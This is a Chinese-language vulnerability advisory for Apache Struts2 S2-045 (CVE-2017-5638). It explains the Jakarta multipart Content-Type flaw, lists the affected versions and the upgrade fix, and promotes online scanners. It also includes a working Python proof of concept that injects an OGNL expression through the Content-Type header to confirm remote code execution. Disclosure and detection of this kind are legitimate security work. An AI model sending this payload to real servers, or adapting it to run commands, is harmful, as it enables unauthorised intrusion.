漏洞預警 | Apache Struts2 曝任意代碼執行漏洞 (S2-045,CVE-2017-5638)
FreeBuf上次曝Struts 2的漏洞已經是半年多以前的事情了。
這次的漏洞又是個RCE遠程代碼執行漏洞。簡單來說,基於Jakarta Multipart解析器進行文件上傳時,利用漏洞可進行遠程代碼執行。
該漏洞由安恆信息Nike Zheng上報。
Apache Struts是美國阿帕奇(Apache)軟體基金會負責維護的一個開源項目,是
一套用於創建企業級Java Web應用的開源MVC框架。
漏洞盒子lab和網藤均已支持該漏洞的檢測:
·
漏洞盒子lab檢測地址:
https://www.vulbox.com/lab
·
網藤地址:www.riskivy.com【
點擊閱讀原文檢測
】
漏洞盒子lab
是一款流行漏洞在線安全檢測系統,輸入URL或主機名即可測試是否存在漏洞。
漏洞編號
CVE-2017-5638
漏洞簡介
Struts使用的Jakarta解析文件上傳請求包不當,當遠程攻擊者構造惡意的Content-Type,可能導致遠程命令執行。
實際上在default.properties文件中,struts.multipart.parser的值有兩個選擇,分別是jakarta和pell(另外原本其實也有第三種選擇cos)。其中的jakarta解析器是Struts 2框架的標準組成部分。
默認情況下jakarta是啟用的,所以該漏洞的嚴重性需要得到正視。
影響範圍
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
修復方案
如果你正在使用基於Jakarta的文件上傳Multipart解析器,請升級到Apache Struts 2.3.32或2.5.10.1版;或者也可以切換到不同的實現文件上傳Multipart解析器。
漏洞PoC
import requests
import sys
def poc(url):
payload = "%{(#test="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
headers = {}
headers["Content-Type"] = payload
r = requests.get(url, headers=headers)
if "105059592" in r.content:
return True
return False
if __name__ == "__main__":
if len(sys.argv) == 1:
print "python s2-045.py target"
sys.exit()
if poc(sys.argv[1]):
print "vulnerable"
else:
print "not vulnerable"
* 參考來源:
Apache
,轉載請註明來自FreeBuf.COM
※低成本安全硬體(二) | RFID on PN532
※企業安全建設之搭建開源SIEM平台(下)
※擔心投票系統被黑,詳解荷蘭政府為何決定在大選中使用手工計票
※電商篇——移動 APP 安全行業報告
TAG:FreeBuf |
※CVE-2018-19518:PHP imap_open函數任意命令執行漏洞復現
※CVE-2019-11815:Linux kernel漏洞
※Cve-2019-6340 Drupal遠程代碼執行漏洞
※CVE-2019-0859:win32k.sys 0 day漏洞
※分析WordPress遠程執行代碼漏洞CVE-2019-8942和CVE-2019-8943
※NUUO網路視頻攝錄機Peekaboo漏洞:CVE-2018-1149、CVE-2018-1150
※CVE-2019-0797 windows 0-day 漏洞分析
※Nuxeo認證繞過和RCE漏洞(CVE-2018-16341)分析
※CVE-2019-0841:Windows許可權提升漏洞PoC
※cve-2019-6453 mIRC遠程代碼執行漏洞
※從流量側淺談WebLogic遠程代碼執行漏洞(CVE-2018-3191)
※macOS漏洞安全更新:CVE-2019-8519/8529
※Fallout EK歸來,加入CVE-2018-15982漏洞利用
※Firefox信息泄漏漏洞的技術分析(CVE-2018-12387)
※CVE-2019-0708漏洞:RDP=Really DO Patch?
※深入分析Microsoft Outlook漏洞CVE-2018-8587
※Microsoft Windows CVE-2018-1040漏洞分析
※CVE-2018-8174 「雙殺」0day漏洞復現
※Linux中create_elf_tables函數整型溢出漏洞分析(CVE-2018-14634)
※CVE-2018-19788:UID大於INT_MAX的Linux用戶任意代碼執行漏洞